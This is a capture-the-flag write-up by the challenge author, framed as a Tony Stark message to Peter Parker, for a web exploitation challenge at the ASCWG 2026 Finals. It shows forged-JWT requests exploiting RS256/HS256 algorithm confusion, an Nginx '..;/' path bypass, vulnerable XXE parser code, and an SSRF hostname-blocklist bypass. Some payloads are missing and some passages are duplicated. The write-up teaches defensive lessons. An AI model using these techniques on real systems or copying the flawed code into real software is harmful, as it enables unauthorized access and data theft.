October 1, 2026
πΆοΈE.D.I.T.H. // The Mysterio Protocol
βFor the Next Tony Starkβ¦ A Masterclass in Taking Back Whatβs Yoursβ

By Khaled Ebrahem
6 min read
"For the Next Tony Stark⦠A Masterclass in Taking Back What's Yours"
Event:_ Arab Security Cyber Wargames (ASCWG) 2026 Finals Category: Web Exploitation Author: Khaled Ebrahem_
________________________________________________________________________________________
| |
| [INITIALIZING STARK EMERGENCY BOOTLOADER // HOLOGRAM FEED #3000] |
| |
| "Hey kid. If you're seeing this, two things happened: |
| 1. I'm not around anymore. |
| 2. You fell for some guy with a fishbowl on his head and lost my glasses." |
| β Tony Stark |
|________________________________________________________________________________________|________________________________________________________________________________________
| |
| [INITIALIZING STARK EMERGENCY BOOTLOADER // HOLOGRAM FEED #3000] |
| |
| "Hey kid. If you're seeing this, two things happened: |
| 1. I'm not around anymore. |
| 2. You fell for some guy with a fishbowl on his head and lost my glasses." |
| β Tony Stark |
|________________________________________________________________________________________|"Don't Do Anything I Would Do"
Hey Pete. Take a breath. Sit down. Stop hyperventilating.
I leave you a multi-billion-dollar orbital defense satellite array with tactical drone strike capabilities, and what do you do? You hand the keys over to Quentin Beck because he wore a green cape and told you a nice bedtime story about the multiverse. Really, kid?
Now E.D.I.T.H. is in DEFCON 2 LOCKDOWN, your biometric access has been revoked, and Beck's sitting over in Europe pointing my drones at landmarks.
Here's the good news: across the entire Arab Security Cyber Wargames (ASCWG) 2026 Finals arena, only one single operator managed to crack through Beck's illusion and reclaim the grid. Did I build an impossible defense system? No. I don't build impossible things β I build tests of character. Everyone else was just distracted fighting other fires on the scoreboard while Beck walked away with my tech.
I didn't leave a backdoor in E.D.I.T.H. Stark tech doesn't have backdoors. But as the author and architect of this challenge (Khaled Ebrahem), I left a puzzle box. A trail of breadcrumbs for someone who knows how to think under pressure.
So wipe off your suit, fire up Burp Suite, and let me teach you how to take back what's yours.
π°οΈ The Threat Landscape (What Did Beck Actually Do?)
Beck didn't just change the password. He segmented the entire satellite grid into three isolated microservices behind an Nginx reverse proxy:
[ YOU / BURP SUITE ]
β
βΌ
[ NGINX REVERSE PROXY ] (Port 80)
β
βββββββββββββββββββββββββββΌββββββββββββββββββββββββββ
βΌ βΌ βΌ
[ auth-service ] [ drone-service ] [ master-core ]
(Node.js) (FastAPI/lxml) (Node.js)
Port: 4001 Port: 4002 Port: 4003
β’ JWT Mesh β’ Drone Telemetry β’ Production Flag
β’ PKI Engine β’ XML Diagnostics β’ Master Override[ YOU / BURP SUITE ]
β
βΌ
[ NGINX REVERSE PROXY ] (Port 80)
β
βββββββββββββββββββββββββββΌββββββββββββββββββββββββββ
βΌ βΌ βΌ
[ auth-service ] [ drone-service ] [ master-core ]
(Node.js) (FastAPI/lxml) (Node.js)
Port: 4001 Port: 4002 Port: 4003
β’ JWT Mesh β’ Drone Telemetry β’ Production Flag
β’ PKI Engine β’ XML Diagnostics β’ Master OverrideHe locked the doors, blocked direct access to the drone controls, and hid the master cryptographic key inside container memory.
To beat him, you don't need the Iron Spider suit. You just need four surgical moves.
Step 1: "If You're Nothing Without the Suit, You Shouldn't Have It"
(The Identity Crisis // JWT Algorithm Confusion)
First, you try to log in politely like a good boy:
POST /api/v1/auth/login HTTP/1.1
Host: target.ascwg.org
Content-Type: application/json
{
"operator_id": "peter_parker",
"passkey": "friendly_neighborhood_spider"
}POST /api/v1/auth/login HTTP/1.1
Host: target.ascwg.org
Content-Type: application/json
{
"operator_id": "peter_parker",
"passkey": "friendly_neighborhood_spider"
}And E.D.I.T.H. shuts the door right in your face:
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{
"error": "BIOMETRIC_UNAVAILABLE",
"code": "AUTH-204",
"message": "BIOMETRIC LINK OFFLINE: Stark PKI diagnostic authentication required.",
"recovery_protocol": "STARK-RFC-8542"
}HTTP/1.1 401 Unauthorized
Content-Type: application/json
{
"error": "BIOMETRIC_UNAVAILABLE",
"code": "AUTH-204",
"message": "BIOMETRIC LINK OFFLINE: Stark PKI diagnostic authentication required.",
"recovery_protocol": "STARK-RFC-8542"
}
Beck severed your biometric link. But notice that recovery_protocol note?
If you opened the blueprints in auth-service/src/token.js, you'd see how my legacy fallback protocol works:
try {
// Normal RS256 verification (needs the private key you don't have)
return jwt.verify(token, rsaPublicKey, { algorithms: ['RS256'] });
} catch (err) {
// My diagnostic fallback
return verifyLegacyDiagnosticToken(token);
}try {
// Normal RS256 verification (needs the private key you don't have)
return jwt.verify(token, rsaPublicKey, { algorithms: ['RS256'] });
} catch (err) {
// My diagnostic fallback
return verifyLegacyDiagnosticToken(token);
}And in auth-service/src/legacy/diagnosticAuth.js:
// Accepts HS256 and checks the signature against the raw RSA Public Key PEM text!
return jwt.verify(token, rsaPublicKeyPemString, { algorithms: ['HS256'] });// Accepts HS256 and checks the signature against the raw RSA Public Key PEM text!
return jwt.verify(token, rsaPublicKeyPemString, { algorithms: ['HS256'] });Classic mistake, Pete. It's Algorithm Confusion (RS256 β HS256).
RS256 is asymmetric β private key signs, public key verifies. But if you tell the server, "Hey, verify this using symmetric HMAC (HS256)", the library grabs the only key it knows (the Public Key PEM text) and uses it as the shared secret!
And where do we find that public key? It's hosted in plain sight:
GET /api/v1/auth/public-key.pem
How You Forge Your Badge:
Fire up Burp's JWT Editor (or CyberChef).
Set the algorithm to HS256:
{ "alg": "HS256", "typ": "JWT" }{ "alg": "HS256", "typ": "JWT" }Put your own name on the badge:
{ "sub": "peter_parker", "role": "STARK_TACTICAL_OPERATOR", "isActive": true, "iss": "edith-auth-mesh" }{ "sub": "peter_parker", "role": "STARK_TACTICAL_OPERATOR", "isActive": true, "iss": "edith-auth-mesh" }Sign it using the entire raw ASCII string of public-key.pem (including -----BEGIN PUBLIC KEY----- and -----END PUBLIC KEY-----) as your secret key.
Test it against GET /api/v1/auth/session:
GET /api/v1/auth/session HTTP/1.1
Host: target.ascwg.org
Authorization: Bearer <FORGED_HS256_JWT>
HTTP/1.1 200 OK
{
"status": "SUCCESS",
"session": {
"sub": "peter_parker",
"role": "STARK_TACTICAL_OPERATOR"
}
}GET /api/v1/auth/session HTTP/1.1
Host: target.ascwg.org
Authorization: Bearer <FORGED_HS256_JWT>
HTTP/1.1 200 OK
{
"status": "SUCCESS",
"session": {
"sub": "peter_parker",
"role": "STARK_TACTICAL_OPERATOR"
}
}
Boom. You've got tactical clearance. Now let's get past Beck's bouncer.
Step 2: "I Don't Like Being Handed Things⦠Unless It's a 403 Bypass"
(Circumventing the Nginx Reverse Proxy)
Now that you have clearance, you try talking directly to the drone bay:
POST /api/v1/drone/tactical/diagnostics HTTP/1.1
Host: target.ascwg.org
Authorization: Bearer <FORGED_JWT>POST /api/v1/drone/tactical/diagnostics HTTP/1.1
Host: target.ascwg.org
Authorization: Bearer <FORGED_JWT>And Beck slaps a velvet rope across your face:
HTTP/1.1 403 Forbidden
{
"error": "ACCESS_DENIED",
"code": "ACL-403",
"message": "DIRECT TACTICAL ACCESS RESTRICTED: Quentin Beck reverse proxy firewall blocks tactical diagnostics."
}HTTP/1.1 403 Forbidden
{
"error": "ACCESS_DENIED",
"code": "ACL-403",
"message": "DIRECT TACTICAL ACCESS RESTRICTED: Quentin Beck reverse proxy firewall blocks tactical diagnostics."
}
Beck thought he was a genius with his nginx.conf:
location = /api/v1/drone/tactical/diagnostics {
return 403;
}
location /api/v1/drone/ {
proxy_pass http://drone-service:4002;
proxy_set_header X-Original-URL $http_x_original_url;
}location = /api/v1/drone/tactical/diagnostics {
return 403;
}
location /api/v1/drone/ {
proxy_pass http://drone-service:4002;
proxy_set_header X-Original-URL $http_x_original_url;
}Notice that = sign? That means exact string match only. Nginx literally compares the raw string.
However, Nginx forwards anything starting with /api/v1/drone/ straight to Python's FastAPI backend without normalizing it first.
If you request:
/api/v1/drone/public/..;/tactical/diagnostics
- Nginx looks at it: "Well, it doesn't match the exact string
= /api/v1/drone/tactical/diagnostics. But it matches/api/v1/drone/. Have a nice day, pass right through!" - FastAPI receives it, strips out the path matrix ..;/, and cleanly dispatches your request straight to
@app.post("/api/v1/drone/tactical/diagnostics")!
(Bonus: Sending X-Original-URL: /api/v1/drone/tactical/diagnostics to /api/v1/drone/public/diagnostics works too. Always have a backup plan, Pete).
Send a test probe through the gap:
POST /api/v1/drone/public/..;/tactical/diagnostics HTTP/1.1
Host: target.ascwg.org
Authorization: Bearer <FORGED_JWT>
Content-Type: application/xml
<drone_profile><satellite_id>PETER_PROBE</satellite_id></drone_profile>
HTTP/1.1 200 OK
{
"status": "CALIBRATION_PROCESSED",
"satellite_id": "PETER_PROBE"
}POST /api/v1/drone/public/..;/tactical/diagnostics HTTP/1.1
Host: target.ascwg.org
Authorization: Bearer <FORGED_JWT>
Content-Type: application/xml
<drone_profile><satellite_id>PETER_PROBE</satellite_id></drone_profile>
HTTP/1.1 200 OK
{
"status": "CALIBRATION_PROCESSED",
"satellite_id": "PETER_PROBE"
}
The bouncer let us in. We're inside the drone telemetry subsystem.
Step 3: "Jarvis, Never Let Quentin Beck Write an XML Parser"
(Multi-Step XXE Reconnaissance)
Now you're talking to the drone calibration engine (drone-service/app/main.py):
parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=False)parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=False)resolve_entities=True? Kid, when you build an empire, promise me you won't let people parse untrusted XML with entity resolution turned on. That's an open XML External Entity (XXE) injection.
Now, you can't just guess where Beck put the master flag. He randomized it per instance. We need three quick recon strikes:
Strike 1: "Where is the Master Key located?"
Read the container's environment variables:
Got it. The key is stored dynamically at /run/stark/orbital/master.key.
Strike 2: "Where is Master Core living?"
master-core isn't accessible from the web. It's hidden in Docker's private bridge network. Let's inspect /etc/hosts:
Target acquired: master-core is sitting at internal IP 172.18.0.3.
Strike 3: "Grab the Master Key"
Now point the entity directly at the key file we found in Strike 1:
We have the key. We have the internal IP. Time to hit the override switch.
Step 4: "Give Me an Internal IP. I'm Starving."
(The Final SSRF & Hostname Filter Bypass)
The flag lives inside master-core:4003/api/v1/master/internal/override. But you can't reach port 4003 from outside.
The only entity with permission to talk to master-core is the drone service via its Telemetry Relay endpoint:
POST /api/v1/drone/public/..;/tactical/relay
Beck wrote this filter:
BLOCKED_HOSTNAMES = ["master-core", "localhost", "127.0.0.1"]BLOCKED_HOSTNAMES = ["master-core", "localhost", "127.0.0.1"]He blocked the name master-core. But remember what you learned in Strike 2, Pete?
Routers and sockets don't care about names β they care about IP addresses!
And you already stole the internal IP: 172.18.0.3!
The Final Move:
Pass the internal IP directly through the relay to bypass Beck's hostname blacklist, along with the master key:
Drones Stand Down. Trust Restored.
Epilogue: What Did We Learn Today, Pete?
- Never trust algorithm headers blindly: If a client tells you to verify an RSA public key with HMAC, say no.
- Reverse proxies must normalize paths consistently: Don't let Nginx and FastAPI disagree on ..;/.
- Turn off entity resolution in XML parsers:
resolve_entities=False. Always. - Hostname blacklists in SSRF are useless: Attackers will find the IP via
/etc/hostsevery single time.
You don't need to be me, Peter. You never had to be. Just be better than me.
"Part of the journey is the end." For the next Tony Stark⦠see you next year.
Khaled Ebrahem (@iSec) Author of E.D.I.T.H. // ASCWG 2026 Finals